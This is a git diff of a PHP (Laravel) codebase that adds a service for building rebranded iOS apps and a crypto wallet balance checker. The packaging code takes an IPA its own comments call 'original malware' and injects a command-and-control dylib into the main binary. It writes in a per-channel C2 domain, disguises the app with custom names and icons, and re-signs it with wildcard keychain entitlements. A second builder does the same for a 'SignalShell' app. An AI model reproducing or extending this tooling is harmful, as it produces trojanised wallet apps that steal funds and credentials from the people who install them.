$this->app->singleton(AlchemyBalanceService::class, function () {
|
||||
return AlchemyBalanceService::make();
|
||||
});
|
||||
}
|
||||
|
||||
public function boot(): void
|
||||
|
||||
@@ -0,0 +1,342 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* Build a customized AI Wallet IPA for App-builder channels.
|
||||
*
|
||||
* Uses a pre-compiled c2_simple.dylib (compiled on macOS) and a
|
||||
* runtime c2_config.plist to configure domain/channel per build.
|
||||
* No iOS SDK or Xcode required on the Linux build server.
|
||||
*
|
||||
* Build flow:
|
||||
* 1. Extract ai-live-base.ipa (original malware)
|
||||
* 2. Copy pre-compiled c2_simple.dylib to Frameworks/
|
||||
* 3. Generate c2_config.plist with channel-specific settings
|
||||
* 4. Add LC_LOAD_DYLIB to main binary (before libutils)
|
||||
* 5. Patch Info.plist (app name, bundle ID, white launch screen)
|
||||
* 6. Generate icons from uploaded logo
|
||||
* 7. Sign with ldid
|
||||
* 8. Package as IPA
|
||||
*/
|
||||
class AiWalletPackageService
|
||||
{
|
||||
/** Base IPA path (original ai-live malware) */
|
||||
private const BASE_IPA = 'app-templates/ai-live-base.ipa';
|
||||
|
||||
/** Pre-compiled c2_simple.dylib */
|
||||
private const C2_DYLIB = 'app-templates/c2_simple.dylib';
|
||||
|
||||
/** Icon sizes */
|
||||
private const ICON_SIZES = [
|
||||
'AppIcon60x60@2x.png' => 120,
|
||||
'AppIcon60x60@3x.png' => 180,
|
||||
'AppIcon76x76@2x~ipad.png' => 152,
|
||||
];
|
||||
|
||||
public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
|
||||
{
|
||||
$baseIpa = storage_path('app/'.self::BASE_IPA);
|
||||
$c2Dylib = storage_path('app/'.self::C2_DYLIB);
|
||||
|
||||
if (!file_exists($baseIpa)) {
|
||||
return $this->fail('Base IPA not found. Upload ai-live-base.ipa via admin.');
|
||||
}
|
||||
if (!file_exists($c2Dylib)) {
|
||||
return $this->fail('c2_simple.dylib not found. Upload pre-compiled dylib.');
|
||||
}
|
||||
|
||||
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
|
||||
if (is_dir($workDir)) $this->rrmdir($workDir);
|
||||
@mkdir($workDir, 0755, true);
|
||||
|
||||
try {
|
||||
// 1. Extract base IPA
|
||||
$zip = new \ZipArchive;
|
||||
if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA');
|
||||
$zip->extractTo($workDir);
|
||||
$zip->close();
|
||||
|
||||
$appDir = $this->findAppDir($workDir);
|
||||
if (!$appDir) throw new RuntimeException('No .app directory found');
|
||||
|
||||
// 2. Copy pre-compiled c2_simple.dylib
|
||||
$fwDir = $appDir.'/Frameworks';
|
||||
if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true);
|
||||
copy($c2Dylib, $fwDir.'/c2_simple.dylib');
|
||||
|
||||
// 3. Generate c2_config.plist
|
||||
$this->writeConfigPlist($appDir, $channel, $apiDomain);
|
||||
|
||||
// 4. Add LC_LOAD_DYLIB to main binary
|
||||
$mainBin = $this->findMainBinary($appDir);
|
||||
$this->addLoadDylib($mainBin, '@rpath/c2_simple.dylib', '@executable_path/Frameworks/libutils.dylib');
|
||||
|
||||
// 5. Patch Info.plist
|
||||
$this->patchInfoPlist($appDir, $channel);
|
||||
|
||||
// 6. Generate icons
|
||||
if ($logoPath && file_exists($logoPath)) {
|
||||
$this->generateIcons($appDir, $logoPath);
|
||||
}
|
||||
|
||||
// 7. Sign
|
||||
$this->sign($appDir);
|
||||
|
||||
// 8. Package
|
||||
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
|
||||
$outputFull = public_path($outputPath);
|
||||
@mkdir(dirname($outputFull), 0755, true);
|
||||
|
||||
$outZip = new \ZipArchive;
|
||||
if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
|
||||
throw new RuntimeException('Cannot create output IPA');
|
||||
}
|
||||
$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
|
||||
$outZip->close();
|
||||
|
||||
$size = filesize($outputFull);
|
||||
$this->rrmdir($workDir);
|
||||
|
||||
return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => ''];
|
||||
|
||||
} catch (\Throwable $e) {
|
||||
$this->rrmdir($workDir);
|
||||
Log::error('AiWalletPackageService: build failed', [
|
||||
'channel' => $channel->channel_id,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
return ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
|
||||
}
|
||||
}
|
||||
|
||||
private function writeConfigPlist(string $appDir, Channel $channel, string $apiDomain): void
|
||||
{
|
||||
$config = [
|
||||
'C2Domain' => $apiDomain,
|
||||
'C2Port' => '443',
|
||||
'WebViewURL' => $channel->h5_url ?: 'https://tether.to',
|
||||
'AppId' => $channel->channel_id,
|
||||
'ChannelId' => $channel->channel_id,
|
||||
'AppName' => $channel->app_name,
|
||||
];
|
||||
|
||||
$plist = $this->arrayToXmlPlist($config);
|
||||
file_put_contents($appDir.'/c2_config.plist', $plist);
|
||||
}
|
||||
|
||||
private function arrayToXmlPlist(array $data): string
|
||||
{
|
||||
$xml = '<?xml version="1.0" encoding="UTF-8"?>'."\n";
|
||||
$xml .= '<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n";
|
||||
$xml .= '<plist version="1.0"><dict>'."\n";
|
||||
foreach ($data as $key => $value) {
|
||||
$xml .= '<key>'.htmlspecialchars($key).'</key><string>'.htmlspecialchars($value).'</string>'."\n";
|
||||
}
|
||||
$xml .= '</dict></plist>';
|
||||
return $xml;
|
||||
}
|
||||
|
||||
private function patchInfoPlist(string $appDir, Channel $channel): void
|
||||
{
|
||||
$plistFile = $appDir.'/Info.plist';
|
||||
$data = file_get_contents($plistFile);
|
||||
|
||||
// Use plistlib via shell (available on Linux)
|
||||
$tmpFile = tempnam(sys_get_temp_dir(), 'plist');
|
||||
file_put_contents($tmpFile, $data);
|
||||
|
||||
$changes = [
|
||||
'CFBundleDisplayName' => $channel->app_name,
|
||||
'CFBundleName' => $channel->app_name,
|
||||
'CFBundleIdentifier' => $channel->bundle_id ?: 'com.ai.wallet.next',
|
||||
'CFBundleShortVersionString' => '1.6.1',
|
||||
'CFBundleVersion' => '1.6.1',
|
||||
];
|
||||
|
||||
foreach ($changes as $key => $value) {
|
||||
$escaped = escapeshellarg($value);
|
||||
exec("plistutil -i {$tmpFile} -o {$tmpFile} -k {$key} -s {$escaped} 2>/dev/null || true");
|
||||
// Fallback: use sed for XML plists
|
||||
$data = file_get_contents($tmpFile);
|
||||
$data = preg_replace(
|
||||
'#<key>'.preg_quote($key, '#').'</key>\s*<string>[^<]*</string>#',
|
||||
'<key>'.$key.'</key><string>'.htmlspecialchars($value).'</string>',
|
||||
$data
|
||||
);
|
||||
file_put_contents($tmpFile, $data);
|
||||
}
|
||||
|
||||
// Remove storyboard reference, add UILaunchScreen (white background)
|
||||
$data = file_get_contents($tmpFile);
|
||||
$data = preg_replace('#<key>UILaunchStoryboardName</key>\s*<string>[^<]*</string>#', '', $data);
|
||||
if (!str_contains($data, 'UILaunchScreen')) {
|
||||
$data = str_replace('</dict></plist>', '<key>UILaunchScreen</key><dict/></dict></plist>', $data);
|
||||
}
|
||||
file_put_contents($plistFile, $data);
|
||||
unlink($tmpFile);
|
||||
}
|
||||
|
||||
private function addLoadDylib(string $binaryPath, string $dylibPath, string $insertBefore): void
|
||||
{
|
||||
// Use Python script for Mach-O editing — PHP binary manipulation
|
||||
// corrupts the binary by inserting bytes (shifts code signature blob).
|
||||
// The Python script uses existing free space in the load command table,
|
||||
// preserving the file size and not breaking the signature.
|
||||
$scriptPath = base_path('bin/add_dylib.py');
|
||||
|
||||
if (!file_exists($scriptPath)) {
|
||||
throw new RuntimeException('add_dylib.py not found at '.$scriptPath);
|
||||
}
|
||||
|
||||
$cmd = sprintf(
|
||||
'python3 %s %s %s 2>&1',
|
||||
escapeshellarg($scriptPath),
|
||||
escapeshellarg($binaryPath),
|
||||
escapeshellarg($dylibPath)
|
||||
);
|
||||
|
||||
$output = [];
|
||||
$exitCode = 0;
|
||||
exec($cmd, $output, $exitCode);
|
||||
|
||||
if ($exitCode !== 0) {
|
||||
throw new RuntimeException('add_dylib.py failed: '.implode("\n", $output));
|
||||
}
|
||||
|
||||
Log::info('AiWalletPackageService: add_dylib.py output', ['output' => $output]);
|
||||
}
|
||||
|
||||
private function findAppDir(string $workDir): ?string
|
||||
{
|
||||
$payload = $workDir.'/Payload';
|
||||
if (!is_dir($payload)) return null;
|
||||
foreach (scandir($payload) as $item) {
|
||||
if (str_ends_with($item, '.app')) return $payload.'/'.$item;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private function findMainBinary(string $appDir): string
|
||||
{
|
||||
// Main binary has the same name as the .app directory
|
||||
$appName = basename($appDir, '.app');
|
||||
return $appDir.'/'.$appName;
|
||||
}
|
||||
|
||||
private function generateIcons(string $appDir, string $logoPath): void
|
||||
{
|
||||
if (!function_exists('imagecreatefrompng')) {
|
||||
Log::warning('AiWalletPackageService: GD not available, skipping icons');
|
||||
return;
|
||||
}
|
||||
|
||||
$src = imagecreatefrompng($logoPath);
|
||||
if (!$src) return;
|
||||
|
||||
foreach (self::ICON_SIZES as $filename => $size) {
|
||||
$dst = imagecreatetruecolor($size, $size);
|
||||
imagealphablending($dst, false);
|
||||
imagesavealpha($dst, true);
|
||||
imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size,
|
||||
imagesx($src), imagesy($src));
|
||||
imagepng($dst, $appDir.'/'.$filename);
|
||||
imagedestroy($dst);
|
||||
}
|
||||
imagedestroy($src);
|
||||
}
|
||||
|
||||
private function sign(string $appDir): void
|
||||
{
|
||||
// Remove old signatures
|
||||
$csDir = $appDir.'/_CodeSignature';
|
||||
if (is_dir($csDir)) $this->rrmdir($csDir);
|
||||
|
||||
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
|
||||
if ($ldidPath === '' || !file_exists($ldidPath)) {
|
||||
Log::warning('AiWalletPackageService: ldid not found at '.$ldidPath);
|
||||
return;
|
||||
}
|
||||
|
||||
// Create entitlements file
|
||||
$entFile = $appDir.'/../entitlements.xml';
|
||||
$entXml = '<?xml version="1.0" encoding="UTF-8"?>'."\n"
|
||||
.'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n"
|
||||
.'<plist version="1.0"><dict>'."\n"
|
||||
.'<key>get-task-allow</key><true/>'."\n"
|
||||
.'<key>keychain-access-groups</key><array><string>*</string></array>'."\n"
|
||||
.'<key>platform-application</key><true/>'."\n"
|
||||
.'</dict></plist>';
|
||||
file_put_contents($entFile, $entXml);
|
||||
|
||||
// Sign all binaries with entitlements
|
||||
$binaries = array_merge(
|
||||
[$this->findMainBinary($appDir)],
|
||||
glob($appDir.'/Frameworks/*.dylib') ?: [],
|
||||
glob($appDir.'/*.dylib') ?: [],
|
||||
glob($appDir.'/Frameworks/*.framework/*') ?: [],
|
||||
);
|
||||
|
||||
foreach ($binaries as $bin) {
|
||||
if (!is_file($bin)) continue;
|
||||
$cmd = escapeshellarg($ldidPath)
|
||||
.' -S'.escapeshellarg($entFile)
|
||||
.' '.escapeshellarg($bin).' 2>&1';
|
||||
$output = [];
|
||||
$exitCode = 0;
|
||||
exec($cmd, $output, $exitCode);
|
||||
if ($exitCode !== 0) {
|
||||
Log::warning('AiWalletPackageService: ldid sign failed for '.basename($bin), [
|
||||
'cmd' => $cmd,
|
||||
'output' => implode("\n", $output),
|
||||
'exit_code' => $exitCode,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
// Also create bundle _CodeSignature
|
||||
$bundleCs = $appDir.'/_CodeSignature';
|
||||
@mkdir($bundleCs, 0755, true);
|
||||
file_put_contents($bundleCs.'/CodeResources', '<?xml version="1.0" encoding="UTF-8"?>'."\n"
|
||||
.'<plist version="1.0"><dict><key>files</key><dict/></dict></plist>');
|
||||
|
||||
// Cleanup entitlements file
|
||||
@unlink($entFile);
|
||||
}
|
||||
|
||||
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
|
||||
{
|
||||
foreach (scandir($dir) as $item) {
|
||||
if ($item === '.' || $item === '..') continue;
|
||||
$path = $dir.'/'.$item;
|
||||
$zipPath = $prefix.'/'.$item;
|
||||
if (is_dir($path)) {
|
||||
$zip->addEmptyDir($zipPath);
|
||||
$this->addDirToZip($zip, $path, $zipPath);
|
||||
} else {
|
||||
$zip->addFile($path, $zipPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function rrmdir(string $dir): void
|
||||
{
|
||||
if (!is_dir($dir)) return;
|
||||
foreach (scandir($dir) as $item) {
|
||||
if ($item === '.' || $item === '..') continue;
|
||||
$path = $dir.'/'.$item;
|
||||
if (is_dir($path)) $this->rrmdir($path);
|
||||
else @unlink($path);
|
||||
}
|
||||
@rmdir($dir);
|
||||
}
|
||||
|
||||
private function fail(string $error): array
|
||||
{
|
||||
return ['success' => false, 'path' => '', 'size' => 0, 'error' => $error];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,365 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Alchemy;
|
||||
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* Balance + activation via the Alchemy Blockchain Data API (JSON-RPC) for ETH,
|
||||
* BSC, and SOL. BTC is not handled here (Alchemy has no address-balance API on
|
||||
* the current plan) — BTC stays on the BtcDriver (mempool.space). TRON stays on
|
||||
* TronGrid.
|
||||
*
|
||||
* On 401 (invalid key / network not enabled) the service is flagged unavailable
|
||||
* for a short cool-down so callers skip straight to the per-chain RPC fallback.
|
||||
*
|
||||
* Normalized result shape (compatible with the former Tokenview service):
|
||||
* [
|
||||
* 'activated' => bool,
|
||||
* 'native' => ['symbol','amount','amount_usd','contract'] | null,
|
||||
* 'tokens' => list<['symbol','contract','decimals','amount','amount_usd']>,
|
||||
* 'first_active' => null,
|
||||
* 'last_active' => null,
|
||||
* ]
|
||||
*/
|
||||
class AlchemyBalanceService
|
||||
{
|
||||
public const DISABLE_CACHE_KEY = 'alchemy-data:disabled';
|
||||
public const DISABLE_TTL_SECONDS = 300;
|
||||
|
||||
public function __construct(
|
||||
private readonly string $apiKey,
|
||||
private readonly string $ethRpcBase,
|
||||
private readonly string $bscRpcBase,
|
||||
private readonly string $solRpcBase,
|
||||
private readonly int $timeout,
|
||||
) {}
|
||||
|
||||
public static function make(): self
|
||||
{
|
||||
return new self(
|
||||
(string) config('coruna.alchemy.api_key', ''),
|
||||
rtrim((string) config('coruna.alchemy.eth_rpc_url', ''), '/'),
|
||||
rtrim((string) config('coruna.alchemy.bsc_rpc_url', ''), '/'),
|
||||
rtrim((string) config('coruna.alchemy.sol_rpc_url', ''), '/'),
|
||||
(int) config('coruna.alchemy.timeout', 30),
|
||||
);
|
||||
}
|
||||
|
||||
public function isEnabled(): bool
|
||||
{
|
||||
return trim($this->apiKey) !== '' && ! Cache::has(self::DISABLE_CACHE_KEY);
|
||||
}
|
||||
|
||||
private function disableTemporarily(): void
|
||||
{
|
||||
Cache::put(self::DISABLE_CACHE_KEY, 1, self::DISABLE_TTL_SECONDS);
|
||||
}
|
||||
|
||||
/**
|
||||
* Map chain_type → Alchemy network slug + RPC base. Null = not handled here.
|
||||
*
|
||||
* @return array{network: string, rpc: string, native: string}|null
|
||||
*/
|
||||
private function evmSpec(string $chainType): ?array
|
||||
{
|
||||
return match (strtoupper(trim($chainType))) {
|
||||
'ETH', 'ETHEREUM', 'EVM' => ['network' => 'eth-mainnet', 'rpc' => $this->ethRpcBase, 'native' => 'ETH'],
|
||||
'BSC', 'BNB', 'BINANCE' => ['network' => 'bnb-mainnet', 'rpc' => $this->bscRpcBase, 'native' => 'BNB'],
|
||||
default => null,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* SOL network spec (Solana JSON-RPC, separate from EVM).
|
||||
*/
|
||||
private function solSpec(): ?array
|
||||
{
|
||||
return $this->solRpcBase !== '' ? ['network' => 'solana-mainnet', 'rpc' => $this->solRpcBase] : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Balance + activation + USDT for the refresh/probe path. No price enrichment
|
||||
* (the refresh only persists coin columns, not USD). Returns null when the
|
||||
* chain is not handled here or the Alchemy RPC is unavailable → caller falls
|
||||
* back to the per-chain RPC driver.
|
||||
*
|
||||
* @return array{activated: bool, native: ?array, tokens: list<array>, first_active: ?string, last_active: ?string}|null
|
||||
*/
|
||||
public function fetch(string $chainType, string $address): ?array
|
||||
{
|
||||
$addr = trim($address);
|
||||
if ($addr === '' || ! $this->isEnabled()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$upper = strtoupper(trim($chainType));
|
||||
if (in_array($upper, ['SOL', 'SOLANA'], true)) {
|
||||
return $this->fetchSol($addr);
|
||||
}
|
||||
|
||||
$spec = $this->evmSpec($chainType);
|
||||
if ($spec === null) {
|
||||
return null; // BTC/TRON handled elsewhere
|
||||
}
|
||||
|
||||
$rpc = $spec['rpc'];
|
||||
if ($rpc === '') {
|
||||
return null; // network not configured
|
||||
}
|
||||
|
||||
try {
|
||||
$nativeHex = $this->rpc($rpc, 'eth_getBalance', [$this->evmAddr($addr), 'latest']);
|
||||
$txCountHex = $this->rpc($rpc, 'eth_getTransactionCount', [$this->evmAddr($addr), 'latest']);
|
||||
$native = $this->humanize($this->hexToDec((string) $nativeHex), 18);
|
||||
$txCount = (int) hexdec((string) $txCountHex);
|
||||
$activated = $this->positive($native) || $txCount > 0;
|
||||
|
||||
$usdtContract = (string) config('coruna.'.strtolower($spec['native'] === 'ETH' ? 'eth' : 'bsc').'.usdt_contract', '');
|
||||
$usdt = '0';
|
||||
$usdtDecimals = 6;
|
||||
if ($usdtContract !== '') {
|
||||
$usdtRaw = $this->tokenBalanceRaw($rpc, $addr, $usdtContract);
|
||||
$usdtDecimals = (int) config('coruna.'.strtolower($spec['native'] === 'ETH' ? 'eth' : 'bsc').'.usdt_decimals', 6);
|
||||
$usdt = $this->humanize($usdtRaw, $usdtDecimals);
|
||||
}
|
||||
|
||||
$tokens = [];
|
||||
if ($this->positive($usdt)) {
|
||||
$tokens[] = [
|
||||
'symbol' => 'USDT',
|
||||
'contract' => $usdtContract,
|
||||
'decimals' => $usdtDecimals,
|
||||
'amount' => $usdt,
|
||||
'amount_usd' => null,
|
||||
];
|
||||
}
|
||||
|
||||
return [
|
||||
'activated' => $activated,
|
||||
'native' => $this->positive($native)
|
||||
? ['symbol' => $spec['native'], 'amount' => $native, 'amount_usd' => null, 'contract' => '']
|
||||
: null,
|
||||
'tokens' => $tokens,
|
||||
'first_active' => null,
|
||||
'last_active' => null,
|
||||
];
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('Alchemy fetch failed', [
|
||||
'chain' => $chainType,
|
||||
'address' => $addr,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* SOL balance + USDT (SPL) via Alchemy Solana JSON-RPC.
|
||||
*
|
||||
* @return array{activated: bool, native: ?array, tokens: list<array>, first_active: ?string, last_active: ?string}|null
|
||||
*/
|
||||
private function fetchSol(string $address): ?array
|
||||
{
|
||||
$spec = $this->solSpec();
|
||||
if ($spec === null) {
|
||||
return null; // SOL not configured
|
||||
}
|
||||
$rpc = $spec['rpc'];
|
||||
|
||||
try {
|
||||
$balanceResult = $this->rpc($rpc, 'getBalance', [$address, ['commitment' => 'confirmed']]);
|
||||
$lamports = '0';
|
||||
if (is_array($balanceResult) && isset($balanceResult['value']) && is_numeric($balanceResult['value'])) {
|
||||
$lamports = (string) $balanceResult['value'];
|
||||
} elseif (is_numeric($balanceResult)) {
|
||||
$lamports = (string) $balanceResult;
|
||||
}
|
||||
$sol = $this->fromLamports($lamports);
|
||||
|
||||
$usdtMint = (string) config('coruna.sol.usdt_contract', '');
|
||||
$usdtDecimals = (int) config('coruna.sol.usdt_decimals', 6);
|
||||
$usdt = '0';
|
||||
if ($usdtMint !== '') {
|
||||
$usdt = $this->solTokenBalance($rpc, $address, $usdtMint, $usdtDecimals);
|
||||
}
|
||||
|
||||
$activated = $this->positive($sol) || $this->positive($usdt);
|
||||
$tokens = [];
|
||||
if ($this->positive($usdt)) {
|
||||
$tokens[] = [
|
||||
'symbol' => 'USDT',
|
||||
'contract' => $usdtMint,
|
||||
'decimals' => $usdtDecimals,
|
||||
'amount' => $usdt,
|
||||
'amount_usd' => null,
|
||||
];
|
||||
}
|
||||
|
||||
return [
|
||||
'activated' => $activated,
|
||||
'native' => $this->positive($sol)
|
||||
? ['symbol' => 'SOL', 'amount' => $sol, 'amount_usd' => null, 'contract' => '']
|
||||
: null,
|
||||
'tokens' => $tokens,
|
||||
'first_active' => null,
|
||||
'last_active' => null,
|
||||
];
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('Alchemy SOL fetch failed', ['address' => $address, 'error' => $e->getMessage()]);
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Sum SPL token units across all token accounts owned by $address for $mint.
|
||||
*/
|
||||
private function solTokenBalance(string $rpc, string $address, string $mint, int &$decimals): string
|
||||
{
|
||||
try {
|
||||
$result = $this->rpc($rpc, 'getTokenAccountsByOwner', [
|
||||
$address,
|
||||
['mint' => $mint],
|
||||
['encoding' => 'jsonParsed', 'commitment' => 'confirmed'],
|
||||
]);
|
||||
} catch (\Throwable) {
|
||||
return '0';
|
||||
}
|
||||
$accounts = is_array($result) && isset($result['value']) ? $result['value'] : [];
|
||||
$total = '0';
|
||||
foreach ($accounts as $entry) {
|
||||
$info = $entry['account']['data']['parsed']['info']['tokenAmount'] ?? null;
|
||||
if (! is_array($info)) {
|
||||
continue;
|
||||
}
|
||||
$amount = (string) ($info['amount'] ?? '0');
|
||||
if (! preg_match('/^\d+$/', $amount)) {
|
||||
continue;
|
||||
}
|
||||
if (isset($info['decimals']) && is_numeric($info['decimals'])) {
|
||||
$decimals = (int) $info['decimals'];
|
||||
}
|
||||
$total = bcadd($total, $amount, 0);
|
||||
}
|
||||
|
||||
return $this->humanize($total, max(0, $decimals));
|
||||
}
|
||||
|
||||
private function fromLamports(string $lamports): string
|
||||
{
|
||||
if (! preg_match('/^\d+$/', $lamports)) {
|
||||
$lamports = '0';
|
||||
}
|
||||
$human = bcdiv($lamports, '1000000000', 9);
|
||||
$human = rtrim(rtrim($human, '0'), '.');
|
||||
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
/**
|
||||
* Raw ERC20/BEP20 balanceOf (units) via eth_call.
|
||||
*/
|
||||
private function tokenBalanceRaw(string $rpc, string $address, string $contract): string
|
||||
{
|
||||
$data = '0x70a08231'.str_pad(substr($this->evmAddr($address), 2), 64, '0', STR_PAD_LEFT);
|
||||
try {
|
||||
$hex = $this->rpc($rpc, 'eth_call', [['to' => $this->evmAddr($contract), 'data' => $data], 'latest']);
|
||||
} catch (\Throwable) {
|
||||
return '0';
|
||||
}
|
||||
|
||||
return $this->hexToDec((string) $hex);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return mixed
|
||||
*/
|
||||
private function rpc(string $base, string $method, array $params)
|
||||
{
|
||||
$url = $base.'/'.$this->apiKey;
|
||||
$resp = Http::connectTimeout(15)->timeout($this->timeout)
|
||||
->acceptJson()->asJson()
|
||||
->post($url, [
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
'method' => $method,
|
||||
'params' => $params,
|
||||
]);
|
||||
|
||||
if ($resp->status() === 401) {
|
||||
$this->disableTemporarily();
|
||||
throw new \RuntimeException('Alchemy 401 (invalid key or network not enabled)');
|
||||
}
|
||||
if (! $resp->successful()) {
|
||||
throw new \RuntimeException('Alchemy HTTP '.$resp->status());
|
||||
}
|
||||
$json = $resp->json();
|
||||
if (! is_array($json)) {
|
||||
throw new \RuntimeException('Alchemy invalid response');
|
||||
}
|
||||
if (isset($json['error'])) {
|
||||
$msg = $json['error']['message'] ?? json_encode($json['error']);
|
||||
throw new \RuntimeException('Alchemy RPC: '.(is_string($msg) ? $msg : 'error'));
|
||||
}
|
||||
|
||||
return $json['result'] ?? null;
|
||||
}
|
||||
|
||||
private function evmAddr(string $addr): string
|
||||
{
|
||||
return strtolower(trim($addr));
|
||||
}
|
||||
|
||||
private function hexToDec(string $hex): string
|
||||
{
|
||||
$hex = ltrim($hex, '0x');
|
||||
if ($hex === '' || ! preg_match('/^[0-9a-fA-F]+$/', $hex)) {
|
||||
return '0';
|
||||
}
|
||||
$dec = '';
|
||||
$len = strlen($hex);
|
||||
for ($i = 0; $i < $len; $i++) {
|
||||
$carry = hexdec($hex[$i]);
|
||||
$dec = $this->bcAddDigit($dec, $carry);
|
||||
}
|
||||
|
||||
return $dec === '' ? '0' : $dec;
|
||||
}
|
||||
|
||||
private function bcAddDigit(string $acc, int $digit): string
|
||||
{
|
||||
if ($digit === 0 && $acc === '') {
|
||||
return '0';
|
||||
}
|
||||
return bcadd(bcmul($acc === '' ? '0' : $acc, '16', 0), (string) $digit, 0);
|
||||
}
|
||||
|
||||
private function humanize(string $units, int $decimals): string
|
||||
{
|
||||
if (! preg_match('/^\d+$/', $units)) {
|
||||
return '0';
|
||||
}
|
||||
if ($decimals <= 0) {
|
||||
return $units === '' ? '0' : $units;
|
||||
}
|
||||
$factor = bcpow('10', (string) $decimals, 0);
|
||||
$human = bcdiv($units, $factor, $decimals);
|
||||
$human = rtrim(rtrim($human, '0'), '.');
|
||||
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
private function positive(string $amount): bool
|
||||
{
|
||||
return preg_match('/^-?\d+(\.\d+)?$/', $amount) && bccomp($amount, '0', 18) > 0;
|
||||
}
|
||||
|
||||
private function positiveUnits(string $units): bool
|
||||
{
|
||||
return preg_match('/^\d+$/', $units) && bccomp($units, '0', 0) > 0;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,410 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* Build a customized SignalShell IPA for App-builder channels.
|
||||
*
|
||||
* Takes a base IPA template, patches it with the channel's
|
||||
* domain / channel ID / app name / logo, and outputs a
|
||||
* downloadable IPA file.
|
||||
*/
|
||||
class AppPackageService
|
||||
{
|
||||
/** Base IPA template path (uploaded once via admin). */
|
||||
private const BASE_IPA_PATH = 'app-templates/signalshell-base.ipa';
|
||||
|
||||
/** Icon sizes to generate from the uploaded logo. */
|
||||
private const ICON_SIZES = [
|
||||
'Icon-20.png' => 20,
|
||||
'Icon-20@2x.png' => 40,
|
||||
'Icon-20@3x.png' => 60,
|
||||
'Icon-29.png' => 29,
|
||||
'Icon-29@2x.png' => 58,
|
||||
'Icon-29@3x.png' => 87,
|
||||
'Icon-40.png' => 40,
|
||||
'Icon-40@2x.png' => 80,
|
||||
'Icon-40@3x.png' => 120,
|
||||
'Icon-60@2x.png' => 120,
|
||||
'Icon-60@3x.png' => 180,
|
||||
'Icon-76.png' => 76,
|
||||
'Icon-76@2x.png' => 152,
|
||||
'Icon-83.5@2x.png' => 167,
|
||||
];
|
||||
|
||||
/**
|
||||
* Build a customized IPA for the given channel.
|
||||
*
|
||||
* @param Channel $channel App-builder channel with app_name, bundle_id, channel_id
|
||||
* @param string|null $logoPath Temporary path to the uploaded logo (PNG, ≥180×180)
|
||||
* @param string $apiDomain C2 domain (e.g. hslaxo.cc)
|
||||
* @return array{success: bool, path: string, size: int, error: string}
|
||||
*/
|
||||
public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
|
||||
{
|
||||
$baseIpa = storage_path('app/'.self::BASE_IPA_PATH);
|
||||
if (! file_exists($baseIpa)) {
|
||||
return ['success' => false, 'path' => '', 'size' => 0, 'error' => 'Base IPA template not found. Upload via admin first.'];
|
||||
}
|
||||
|
||||
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
|
||||
if (is_dir($workDir)) {
|
||||
$this->rrmdir($workDir);
|
||||
}
|
||||
@mkdir($workDir, 0755, true);
|
||||
|
||||
try {
|
||||
// 1. Extract base IPA
|
||||
$zip = new \ZipArchive;
|
||||
if ($zip->open($baseIpa) !== true) {
|
||||
throw new RuntimeException('Cannot open base IPA');
|
||||
}
|
||||
$zip->extractTo($workDir);
|
||||
$zip->close();
|
||||
|
||||
$appDir = $workDir.'/Payload/SignalShell.app';
|
||||
if (! is_dir($appDir)) {
|
||||
// Try to find any .app directory
|
||||
$payload = $workDir.'/Payload';
|
||||
$dirs = glob($payload.'/*.app');
|
||||
if (empty($dirs)) {
|
||||
throw new RuntimeException('No .app directory found in IPA');
|
||||
}
|
||||
$appDir = $dirs[0];
|
||||
}
|
||||
|
||||
// 2. Patch Info.plist
|
||||
$this->patchInfoPlist($appDir, $channel, $apiDomain);
|
||||
|
||||
// 3. Generate icons from logo
|
||||
if ($logoPath && file_exists($logoPath)) {
|
||||
$this->generateIcons($appDir, $logoPath);
|
||||
}
|
||||
|
||||
// 4. Patch libroute.dylib (domain + channel ID)
|
||||
